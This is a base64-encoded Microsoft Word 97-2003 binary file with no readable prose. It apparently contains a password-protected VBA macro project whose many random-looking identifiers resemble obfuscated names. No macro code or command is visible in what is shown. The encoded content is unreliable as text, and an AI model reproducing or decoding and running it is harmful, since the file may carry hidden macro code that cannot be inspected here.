AABkdmFSaFBoAgAAAgYAAABEd1B4TUoCAAACBgAAAGd0eUlQTwIAAAIHAAAASXlFRVRpZwIAAAIH AAAAWlRWaE9BRAIAAAIGAAAAS2NmSndmAgAAAgYAAABaREVBVHECAAACBQAAAHNjSG9jAgAAAgYA AABveHFCa20CAAACBgAAAHFuSGxMTgIAAAIFAAAASGZqc2cCAAACBwAAAHhkYmlMWW0CAAACBwAA AHdRVUdqVHECAAACBQAAAERRUmdpAgAAAgUAAABRc2RmUgIAAAIFAAAASVpoRnICAAACBwAAAGJr VFFQQnkCAAACBgAAAGN3WXdxdQIAAAIHAAAAUkVtbkxZRQIAAAIHAAAAdk9obkhYdgIAAAIHAAAA eXRJdk1tYQIAAAIFAAAASnl4TkECAAACBgAAAFpiamZzWQIAAAIFAAAARW15eVoCAAACBwAAAFFr WWxwTHICAAACBQAAAGR0RXhQAgAAAgcAAABNYlV5WHNNAgAAAgYAAABCaWFmekgCAAACBwAAAFJn bmJFbGkCAAACBgAAAFdJa2RMbAIAAAIGAAAAck5WWnFGAQAAAgEAAABhAwAAAgcAAABzTkRndGRN AgAAAgYAAABsSFdFWVgCAAACBgAAAHlpeW94VwIAAAIHAAAAbEZ1ZmFrbQIAAAIFAAAAVnlKRXkC AAACBQAAAERlc21XAgAAAgUAAAB0V0lBcwIAAAIGAAAAeGNBYmpvAgAAAgUAAABjUlZnSAIAAAIF AAAAQUVUbFcCAAACBgAAAFJHYWlGQwIAAAIFAAAAampOenUDAAANDAAMAEQAAAAAAAAAAABaAAB/ AAAAAAByVYAAAACAAAAAgAAAAIAAAAABAAB+AQAAfnsAAH8AAAAACgAAAAkAAAAAAAAA//////// ////////AAAAAAkAAAAAAAMAAwAACeECAAAAAAAAWQgAAAAAAAAIAAAAAAABAAIAAAgGAAAAZmZR cnBxAwAACWkGAAAAAAAAyQgAAAAAAAAYAAAAAAABAAIAAAgGAAAAWmtrV1pFAgAACAcAAAB3Q1h6 T3hCAgAACAcAAABib2VvZElxAgAACAYAAABXbGhOY0YCAAAIBgAAAG9wYnhZVwIAAAgHAAAAalND T0twTAIAAAgGAAAAQ3VhT0FCAgAACAcAAAB0a2JoVmFvAgAACAYAAAByaXVKWncCAAAIBgAAAFNB ZVdjbgIAAAgFAAAAWVhmYnUCAAAIBQAAAEF6Z3pLAgAACAYAAABLVmtWblkCAAAIBgAAAG5nYUpU YwIAAAgHAAAASlFVSXhIbgIAAAgHAAAASVNpaE9CWAIAAAgFAAAAUGdiRmQCAAAIBgAAAERIaUNk TgIAAAgGAAAAeVhRUmJXMAAAfwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVGhp c0RvY3VtZW50AFQAaABpAHMARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAElEPSJ7RENENjZBREUtRERFQS00OEIxLTkwOUEtNkE0Nzc0MDg0OUEzfSINCkRvY3VtZW50 PVRoaXNEb2N1bWVudC8mSDAwMDAwMDAwDQpOYW1lPSJQcm9qZWN0Ig0KSGVscENvbnRleHRJRD0i MCINClZlcnNpb25Db21wYXRpYmxlMzI9IjM5MzIyMjAwMCINCkNNRz0iNkY2RDdDQkE4Q0NFQzJE MkMyRDJDMkQyQzJEMiINCkRQQj0iQTlBQkJBQkZCQkJGQkJCRiINCkdDPSJFM0UxRjBDRTJCQ0Yy QkNGRDQiDQoNCltIb3N0IEV4dGVuZGVyIEluZm9dDQpQAFIATwBKAEUAQwBUAHcAbQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAACAP///////////////wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKsAAAApAAAAAAAAAFAAUgBPAEoARQBD AFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAIB DAAAABQAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArAAAALMBAAAA AAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABIAAgELAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACzAAAAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZIMDAwMDAwMDE9ezM4MzJENjQwLUNGOTAt MTFDRi04RTQzLTAwQTBDOTExMDA1QX07VkJFOyZIMDAwMDAwMDANCiZIMDAwMDAwMDI9ezAwMDIw OUYyLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn07V29yZDguMDsmSDAwMDAwMDAwDQoNCltX b3Jrc3BhY2VdDQpUaGlzRG9jdW1lbnQ9MCwgMCwgMCwgMCwgQw0KAAAAAAAAAAAAAAAAAAEA/v8D CgAA/////wYJAgAAAAAAwAAAAAAAAEYnAAAATWljcm9zb2Z0IE9mZmljZSBXb3JkIDk3LTIwMDMg RG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAagQPABIAAQALAQ8ABwAEAAQABAAAAAQACAAA AJgAAACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAAD4CAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAACoAAAANgYAADYGAAAWAAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAC4AAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAAaAEAAEgBAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAAMAYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAAwBgAANgYAAHACAAAwBgAAMgYAABgA AADGAwAA1gMAAOYDAAD2AwAABgQAABYEAAAmBAAANgQAAEYEAABWBAAAZgQAAHYEAACGBAAAlgQA AMYDAADWAwAA5gMAAPYDAAAGBAAAEAQAADIGAAAoAgAA2AEAAOgBAAAmBAAANgQAAEYEAABWBAAA ZgQAAHYEAACGBAAAlgQAAMYDAADWAwAA5gMAAPYDAAAGBAAAFgQAACYEAAA2BAAARgQAAFYEAABm BAAAdgQAAIYEAACWBAAAxgMAANYDAADmAwAA9gMAAAYEAAAWBAAAJgQAADYEAABGBAAAVgQAAGYE AAB2BAAAhgQAAJYEAADGAwAA1gMAAOYDAAD2AwAABgQAABYEAAAmBAAANgQAAEYEAABWBAAAZgQA AHYEAACGBAAAlgQAAMYDAADWAwAA5gMAAPYDAAAGBAAAFgQAACYEAAA2BAAARgQAAFYEAABmBAAA dgQAAIYEAACWBAAAxgMAANYDAADmAwAA9gMAAAYEAAAWBAAAJgQAADYEAABGBAAAVgQAAGYEAAB2 BAAAhgQAAJAEAAA4AQAAWAEAAPgBAAAIAgAAGAIAAFYCAAB+AgAAIAAAAE9KBABQSgQAUUoEAF9I AQRtSAkEbkgJBHNICQR0SAkEAAAAAEoAAGDx/wIASgAMEAAAm2thAAAABgBOAG8AcgBtAGEAbAAA AAwAAAASZAABAQAUpKAAGABDShYAX0gBBGFKFgBtSAkEc0gJBHRICQQAAAAAAAAAAAAAAAAAAAAA AABEAEFg8v+hAEQADA0AAAAAAAAQABYARABlAGYAYQB1AGwAdAAgAFAAYQByAGEAZwByAGEAcABo ACAARgBvAG4AdAAAAAAAUgBpAPP/swBSAAwNAAAAAAAAMAYMAFQAYQBiAGwAZQAgAE4AbwByAG0A YQBsAAAAHAAX9gMAADTWBgABCgNsADTWBgABBQMAAGH2AwAAAgALAAAAKABrIPT/wQAoAAANAAAA AAAAMAYHAE4AbwAgAEwAaQBzAHQAAAACAAwAAAAAAFBLAwQUAAYACAAAACEAgoq8E/oAAAAcAgAA EwAAAFtDb250ZW50X1R5cGVzXS54bWyskctqwzAQRfeF/oPQtthyuiil2M6iSXd9LNIPGOSxLWqP hDQJyd937LhQuggtdCMQYs6Ze1Wuj+OgDhiT81TpVV5ohWR946ir9PvuKbvXKjFQA4MnrPQJk17X 11fl7hQwKZmmVOmeOTwYk2yPI6TcByR5aX0cgeUaOxPAfkCH5rYo7oz1xEic8cTQdfkqC0TXoHqD yC8wisewoPD7+QwkgJgLWKvHM2FaotIQwuAssEQwB2p+6DPfts5i4+1+FGk+gxfYzQQzv1xg9T/q L+cGW9gPrLZH6eJcf8Qh/S3bUmsuk3P+1LuQLhgul7e0Yea/rT8BAAD//wMAUEsDBBQABgAIAAAA IQCl1qfnwAAAADYBAAALAAAAX3JlbHMvLnJlbHOEj89qwzAMh++FvYPRfVHSwxgldi+lkEMvo30A 4Sh/aCIb2xvr20/HBgq7CISk7/epPf6ui/nhlOcgFpqqBsPiQz/LaOF2Pb9/gsmFpKclCFt4cIaj e9u1X7xQ0aM8zTEbpUi2MJUSD4jZT7xSrkJk0ckQ0kpF2zRiJH+nkXFf1x+YnhngNkzT9RZS1zdg ro+oyf+zwzDMnk/Bf68s5UUEbjeUTGnkYqGoL+NTvZCoZarUHtC1uPnW/QEAAP//AwBQSwMEFAAG AAgAAAAhAGt5lhaDAAAAigAAABwAAAB0aGVtZS90aGVtZS90aGVtZU1hbmFnZXIueG1sDMxNCsMg EEDhfaF3kNk3Y7soRWKyy6679gBDnBpBx6DSn9vX5eODN87fFNWbSw1ZLJwHDYplzS6It/B8LKcb qNpIHMUsbOHHFebpeBjJtI0T30nIc1F9I9WQha213SDWtSvVIe8s3V65JGo9i0dX6NP3KeJF6ysm CgI4/QEAAP//AwBQSwMEFAAGAAgAAAAhAJa1reKWBgAAUBsAABYAAAB0aGVtZS90aGVtZS90aGVt ZTEueG1s7FlPb9s2FL8P2HcgdG9jJ3YaB3WK2LGbLU0bxG6HHmmJlthQokDSSX0b2uOAAcO6YYcV 2G2HYVuBFtil+zTZOmwd0K+wR1KSxVhekjbYiq0+JBL54/v/Hh+pq9fuxwwdEiEpT9pe/XLNQyTx eUCTsO3dHvYvrXlIKpwEmPGEtL0pkd61jfffu4rXVURigmB9Itdx24uUSteXlqQPw1he5ilJYG7M RYwVvIpwKRD4COjGbGm5VltdijFNPJTgGMjeGo+pT9BQk/Q2cuI9Bq+JknrAZ2KgSRNnhcEGB3WN kFPZZQIdYtb2gE/Aj4bkvvIQw1LBRNurmZ+3tHF1Ca9ni5hasLa0rm9+2bpsQXCwbHiKcFQwrfcb rStbBX0DYGoe1+v1ur16Qc8AsO+DplaWMs1Gf63eyWmWQPZxnna31qw1XHyJ/sqczK1Op9NsZbJY ogZkHxtz+LXaamNz2cEbkMU35/CNzma3u+rgDcjiV+fw/Sut1YaLN6CI0eRgDq0d2u9n1AvImLPt SvgawNdqGXyGgmgookuzGPNELYq1GN/jog8ADWRY0QSpaUrG2Ico7uJ4JCjWDPA6waUZO+TLuSHN C0lf0FS1vQ9TDBkxo/fq+fevnj9Fxw+eHT/46fjhw+MHP1pCzqptnITlVS+//ezPxx+jP55+8/LR F9V4Wcb/+sMnv/z8eTUQ0mcmzosvn/z27MmLrz79/btHFfBNgUdl+JDGRKKb5Ajt8xgUM1ZxJScj cb4VwwjT8orNJJQ4wZpLBf2eihz0zSlmmXccOTrEteAdAeWjCnh9cs8ReBCJiaIVnHei2AHucs46 XFRaYUfzKpl5OEnCauZiUsbtY3xYxbuLE8e/vUkKdTMPS0fxbkQcMfcYThQOSUIU0nP8gJAK7e5S 6th1l/qCSz5W6C5FHUwrTTKkIyeaZou2aQx+mVbpDP52bLN7B3U4q9J6ixy6SMgKzCqEHxLmmPE6 nigcV5Ec4piVDX4Dq6hKyMFU+GVcTyrwdEgYR72ASFm15pYAfUtO38FQsSrdvsumsYsUih5U0byB OS8jt/hBN8JxWoUd0CQqYz+QBxCiGO1xVQXf5W6G6HfwA04WuvsOJY67T68Gt2noiDQLED0zEdqX UKqdChzT5O/KMaNQj20MXFw5hgL44uvHFZH1thbiTdiTqjJh+0T5XYQ7WXS7XAT07a+5W3iS7BEI 8/mN513JfVdyvf98yV2Uz2cttLPaCmVX9w22KTYtcrywQx5TxgZqysgNaZpkCftE0IdBvc6cDklx YkojeMzquoMLBTZrkODqI6qiQYRTaLDrniYSyox0KFHKJRzszHAlbY2HJl3ZY2FTHxhsPZBY7fLA Dq/o4fxcUJAxu01oDp85oxVN4KzMVq5kREHt12FW10KdmVvdiGZKncOtUBl8OK8aDBbWhAYEQdsC Vl6F87lmDQcTzEig7W733twtxgsX6SIZ4YBkPtJ6z/uobpyUx4q5CYDYqfCRPuSdYrUSt5Ym+wbc zuKkMrvGAna5997ES3kEz7yk8/ZEOrKknJwsQUdtr9VcbnrIx2nbG8OZFh7jFLwudc+HWQgXQ74S NuxPTWaT5TNvtnLF3CSowzWFtfucwk4dSIVUW1hGNjTMVBYCLNGcrPzLTTDrRSlgI/01pFhZg2D4 16QAO7quJeMx8VXZ2aURbTv7mpVSPlFEDKLgCI3YROxjcL8OVdAnoBKuJkxF0C9wj6atbabc4pwl Xfn2yuDsOGZphLNyq1M0z2QLN3lcyGDeSuKBbpWyG+XOr4pJ+QtSpRzG/zNV9H4CNwUrgfaAD9e4 AiOdr22PCxVxqEJpRP2+gMbB1A6IFriLhWkIKrhMNv8FOdT/bc5ZGiat4cCn9mmIBIX9SEWCkD0o Syb6TiFWz/YuS5JlhExElcSVqRV7RA4JG+oauKr3dg9FEOqmmmRlwOBOxp/7nmXQKNRNTjnfnBpS 7L02B/7pzscmMyjl1mHT0OT2L0Ss2FXterM833vLiuiJWZvVyLMCmJW2glaW9q8pwjm3Wlux5jRe bubCgRfnNYbBoiFK4b4H6T+w/1HhM/tlQm+oQ74PtRXBhwZNDMIGovqSbTyQLpB2cASNkx20waRJ WdNmrZO2Wr5ZX3CnW/A9YWwt2Vn8fU5jF82Zy87JxYs0dmZhx9Z2bKGpwbMnUxSGxvlBxjjGfNIq f3Xio3vg6C24358wJU0wwTclgaH1HJg8gOS3HM3Sjb8AAAD//wMAUEsDBBQABgAIAAAAIQAN0ZCf tgAAABsBAAAnAAAAdGhlbWUvdGhlbWUvX3JlbHMvdGhlbWVNYW5hZ2VyLnhtbC5yZWxzhI9NCsIw FIT3gncIb2/TuhCRJt2I0K3UA4TkNQ02PyRR7O0NriwILodhvplpu5edyRNjMt4xaKoaCDrplXGa wW247I5AUhZOidk7ZLBggo5vN+0VZ5FLKE0mJFIoLjGYcg4nSpOc0IpU+YCuOKOPVuQio6ZByLvQ SPd1faDxmwF8xSS9YhB71QAZllCa/7P9OBqJZy8fFl3+UUFz2YUFKKLGzOAjm6pMBMpburrE3wAA AP//AwBQSwECLQAUAAYACAAAACEAgoq8E/oAAAAcAgAAEwAAAAAAAAAAAAAAAAAAAAAAW0NvbnRl bnRfVHlwZXNdLnhtbFBLAQItABQABgAIAAAAIQCl1qfnwAAAADYBAAALAAAAAAAAAAAAAAAAACsB AABfcmVscy8ucmVsc1BLAQItABQABgAIAAAAIQBreZYWgwAAAIoAAAAcAAAAAAAAAAAAAAAAABQC AAB0aGVtZS90aGVtZS90aGVtZU1hbmFnZXIueG1sUEsBAi0AFAAGAAgAAAAhAJa1reKWBgAAUBsA ABYAAAAAAAAAAAAAAAAA0QIAAHRoZW1lL3RoZW1lL3RoZW1lMS54bWxQSwECLQAUAAYACAAAACEA DdGQn7YAAAAbAQAAJwAAAAAAAAAAAAAAAACbCQAAdGhlbWUvdGhlbWUvX3JlbHMvdGhlbWVNYW5h Z2VyLnhtbC5yZWxzUEsFBgAAAAAFAAUAXQEAAJYKAAAAADw/eG1sIHZlcnNpb249IjEuMCIgZW5j b2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhOmNsck1hcCB4bWxuczphPSJodHRw Oi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvZHJhd2luZ21sLzIwMDYvbWFpbiIgYmcxPSJs dDEiIHR4MT0iZGsxIiBiZzI9Imx0MiIgdHgyPSJkazIiIGFjY2VudDE9ImFjY2VudDEiIGFjY2Vu dDI9ImFjY2VudDIiIGFjY2VudDM9ImFjY2VudDMiIGFjY2VudDQ9ImFjY2VudDQiIGFjY2VudDU9 ImFjY2VudDUiIGFjY2VudDY9ImFjY2VudDYiIGhsaW5rPSJobGluayIgZm9sSGxpbms9ImZvbEhs aW5rIi8+AAAAAG8AAACAAAAAjgAAANgAAAABAAAAAAAAAAAA/////xAEAAAAAAAAAQAAAAAAAAAA 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 